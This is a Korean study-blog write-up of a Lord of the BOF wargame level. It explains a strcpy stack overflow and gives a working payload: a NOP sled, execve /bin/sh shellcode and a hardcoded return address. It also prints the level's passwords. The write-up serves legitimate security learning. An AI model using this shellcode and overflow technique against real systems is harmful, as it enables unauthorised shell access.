일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- 홍대 토라비
- 홍대 예술
- 지보싶 신촌점
- 홍대 카페 장쌤
- graphql with RN
- apolloclient
- 도그존
- 금별맥주
- graphql mutation error
- 고르드
- graphql react native
- typescript
- 토라비
- promise메서드
- 운정 소바동
- graphql
- 비동기배열처리방법
- 앙버터마카롱
- 예쁜술집 예술
- apollo react native
- graphql 400
- useMutation error
- graphql with reactnative
- 잠실새내
- 잠실새내 도그존
- promise처리
- 신촌 소문난집
- 비동기배열
- 화이트해커를 위한 웹 해킹의 기술
- 화이트 해커를 위한 웹 해킹의 기술
- Today
- Total
yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆
LOB 4번 풀이 (goblin) 본문
id: goblin
pw: hackers proof
/*
orc code
The Lord of the BOF : The Fellowship of the BOF
- orc
- egghunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
- strcpy에 BOF 취약점 이용
- egghunter: 환경변수 사용을 막는 코드가 삽입되어 있음 (환경변수를 이용해서 공격 불가능)
- 전달하려는 문자열의 48번째는 "\xbf"와 같아야함 (같지 않으면 "stack is still your friend" 출력, 종료)
- buffer에 담긴 내용 출력
이번에는 환경변수를 사용할 수 없게 되었다.
하지만 bash쉘을 띄우는 쉘코드는 25바이트, buffer는 40바이트기 때문에
buffer에 shell 코드를 넣어주고 ret 주소는 buffer 시작 주소로 바꿔서 쉘코드가 실행되게끔 하자!
우선 orc를 디스어셈블 하자
여기가 코드상에서 buffer를 출력하는 부분이다.
따라서 strcpy와 printf의 인자로 들어간 ebp-40이 buffer의 시작 위치라고 볼 수 있다.
스택 구조를 그려보면 다음과 같다
이제 buffer의 시작 주소를 알아내야 하는데,
tmp 디렉토리를 만들어서 orc 파일을 tmp디렉토리로 복사해서 buffer 주소를 찾아보자.
우선 main에 breakpoint를 걸어주고, orc에 인자를 넣어 실행시켜주자!
이때 48번째에는 \xbf가 들어가야하기 때문에 혹시 몰라서 ret 부분에는 모두 "\xbf"를 넣어주었다.
("\xbf"를 넣어주지 않으면 종료되어서 buffer 주소를 확인할 수 없을 수도 있다고 생각했다.)
그리고 $esp 값을 확인해가면서 buffer 시작 주소를 찾아보았다.
그랬더니 특정 부분에서 0x61이 반복적으로 출력되었다. 우리가 입력한 "a"가 아스키 코드로(16진수) 0x61 이기 때문에
0xbffffc3c + 6 = 0xbffffc42 가 buffer의 시작주소라는 것을 알 수 있다.
다시 원본 orc가 있는 디렉토리로 돌아와서 buffer+sfp =44 바이트에 쉘 코드와 NOP를 채워주고 ret에 방금 구한 buffer 시작 주소를 넣어주자
payload:
./orc `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x42\xfc\xff\xbf"'`
(쉘 코드는 25바이트, 채워야하는 바이트는 44바이트, 따라서 NOP 19바이트를 buffer 앞쪽에 채워줌)
orc 권한으로 bash 쉘이 띄워졌고, 패스워드도 얻었다.
orc의 pw: "cantata"
'wargame 풀이 > LOB' 카테고리의 다른 글
LOB 6번 풀이 (wolfman) (0) | 2020.11.07 |
---|---|
LOB 5번 풀이 (orc) (0) | 2020.11.06 |
LOB 3번 풀이 (cobolt) (0) | 2020.10.29 |
LOB 2번 풀이 (gremlin) (0) | 2020.10.29 |
LOB 1번 풀이 (0) | 2020.10.27 |